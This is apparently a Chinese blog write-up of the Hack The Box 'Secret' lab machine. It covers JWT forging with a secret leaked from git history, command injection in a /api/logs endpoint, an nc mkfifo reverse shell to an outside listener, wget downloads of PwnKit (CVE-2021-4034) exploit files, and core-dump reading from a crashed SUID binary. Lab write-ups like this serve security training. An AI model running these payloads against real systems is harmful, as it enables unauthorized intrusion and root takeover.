HTB_Secret

目录

一 渗透测试

(一)信息收集

1 端口扫描

2 组件框架

3 子域/目录扫描

4 api

(二)漏洞发现

1 命令注入漏洞

(三) 提权

1 SUID本地文件提权(1)

2 SUID_pkexec提权(2)

二 知识点

(一)Git源码文件提取

(二)JWT验证机制

(三)Linux程序崩溃文件处理

(四)SUID_pkexec提权

前言

JWT

Token:计算机身份认证中是令牌(临时)的意思,在一些数据传输之前,要先进行客户端携带由服务端颁发的token的核对,不同的toke被授权不同的数据操作。

JWT: JSON Web Tokens令牌是一种开放的行业标准RFC 7519方法,用于安全地表示双方之间的声明。JWT的本质就是一个字符串,它是将用户信息保存到一个Json字符串中,然后进行编码后得到一个JWT token,并且这个JWT token带有签名信息,接收后可以校验是否被篡改,所以可以用于在各方之间安全地将信息作为Json对象传输。

pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。

一 渗透测试

(一)信息收集

1 端口扫描

 目标服务器开放22/80/3000端口

2 组件框架

 

 在网页底部发现网站源代码。

3 子域/目录扫描

 发现/api和/docs目录

4 api

可对/api进行目录扫描,访问/docs时发现该开源项目的注册到认证登录的过程均有描述。这是一个基于API的身份验证系统。我们正在使用JWT令牌使事情更加安全。为了存储我们正在使用的mongodb用户数据,您可以在这里找到一个api工作原理的演示,这是一个非常安全的身份验证系统,可以很好地完成文档(有时公司会隐藏端点),但我们的代码是公开的。

 发现

注册api:/api/user/register

登录api:/api/user/login

Token权限校验api:/api/priv

(二)漏洞发现

1 命令注入漏洞

下载收集到的源码是一个开源项目,存在git文件泄露。使用extractor.sh对文件进行提取。

#./extractor.sh /root/桌面/app/hackbox/Secret/local-web/ dump

对文件进行了6次提取。

1.1 注册用户

根据提示注册用户

#curl -X POST -H 'Content-Type: application/json' -v http://10.10.11.120:3000/api/user/register --data '{"name": "revenger","email": "revenger@htb.com","password": "*"}'

 

1.2 登录

#curl -X POST -H 'Content-Type: application/json' -v http://10.10.11.120:3000/api/user/login --data '{"email": "revenger@htb.com","password": "qwerty123"}'

 

1.3 验证token

#curl http://10.10.11.120:3000/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoicmV2ZW5nZXIiLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9._qtFTVuE7XvCYgp79CbAUzpHA9a7kC1VW1tIAxTF1D8'

 有回显可知是一个普通用户权限。

1.4 获取web_admin权限

查看提取的源码文件private.js可知当name==theadadmin时权限为admin。

 

构造admin权限token,查看verifytoken.js可知token的通过jwt生成。使用jwt在线token形成,将name更改为theadadmin;添加token_secret的值即可形成。

其中token_secre可翻阅文件提取中有一个名2-开头的文件里.env文件拿到。

 获取管理员token。

校验token权限,获取到admin权限。

 

1.5 private.js源码命令注入漏洞

在private.js源码发现/api/logs一处命令注入漏洞。

 

命令注入漏洞测试

#curl 'http://10.10.11.120:3000/api/logs?file=123;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9.kfe2cEnT2UeiSGPh82r5ouqdZ_OXAt0lgR2QsXOUFF4'

 确定存在命令注入漏洞。

1.6 获取user.flag

#curl -v 'http://10.10.11.120:3000/api/logs?file=123;cat+/home/dasith/user.txt' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9.kfe2cEnT2UeiSGPh82r5ouqdZ_OXAt0lgR2QsXOUFF4'

 

1.7 反弹shell

使用nc反弹shell_payload:

#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.3 9999 >/tmp/f

#  curl -v 'http://10.10.11.120:3000/api/logs?file=123;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.3%209999%20%3E%2Ftmp%2Ff' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MzNhNGNlNTJiZTlmNTA0NjMwYjU1NjkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmVuZ2VyQGh0Yi5jb20iLCJpYXQiOjE2NjQ3NjUyOTN9.kfe2cEnT2UeiSGPh82r5ouqdZ_OXAt0lgR2QsXOUFF4'

 

(三)提权

获取交互式shell

#python3 -c "import pty;pty.spawn('/bin/bash')";

suid文件收集

#find / -perm -u=s -type f 2>/dev/null

 发现count/pkexec文件均具有suid权限

1 SUID本地文件提权(1)

1.1 count文件分析

查看count源码文件发现通过设置prctl(PR_SET_DUMPABLE, 1);,可造成count执行崩溃。Linux崩溃创建一些文件/var/crash/,使用kdump工具或apport-unpack(从崩溃报告中提取核心转储文件)处理文件可查看详细信息。其中包括我们利用count执行的查看root_flag信息。

 

1.2 制造count执行崩溃

当前shell1执行count,如下,当选择save results a file “y”后在触发一个shell2,查找count进程kill掉,则shell1下count执行终止。

 

1.3获取程序崩溃文件

程序崩溃时会在中创建一些文件/var/crash/

 

# mkdir /tmp/test

apport-unpack提取奔溃文件并转存/test,其中 CoreDump即可查看详细信息。

#apport-unpack /var/crash/_opt_count.1000.crash /tmp/test

字符形式输出文件

#strings CoreDump

 

2 SUID_pkexec提权(2)

pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。存在很多系统版本的 pkexec 没有正确处理调用参数的个数,并最终试图将环境变量作为命令执行,从而诱导 pkexec 执行任意代码。

提权漏洞cve-2021-4034。

 pkexec具有suid权限。

2.1 上传exp文件

 #wget 10.10.16.3:9998/cve-2021-4034.c

#wget 10.10.16.3:9998/Makefile

#wget 10.10.16.3:9998/pwnkit.c

2.2 执行提权命令

#make

#.cve-2021-4034

 成功拿到root权限。

二 知识点

(一)Git源码文件提取

extractor.sh对文件进行提取。

#./extractor.sh /root/桌面/app/hackbox/Secret/local-web/ dump

(二)JWT验证机制

JWT: JSON Web Tokens令牌是一种开放的行业标准RFC 7519方法,用于安全地表示双方之间的声明。JWT的本质就是一个字符串,它是将用户信息保存到一个Json字符串中,然后进行编码后得到一个JWT token,并且这个JWT token带有签名信息,接收后可以校验是否被篡改,所以可以用于在各方之间安全地将信息作为Json对象传输。

(三)Linux程序崩溃文件处理

1 程序崩溃在/var/crash创建崩溃文件

2 apport-unpack提取奔溃文件并转存/test,其中 CoreDump即可查看详细信息。

#apport-unpack /var/crash/_opt_count.1000.crash /tmp/test

3 字符形式输出文件

#strings CoreDump

(四)SUID_pkexec提权

pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。存在很多系统版本的 pkexec 没有正确处理调用参数的个数,并最终试图将环境变量作为命令执行。可以理解为当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值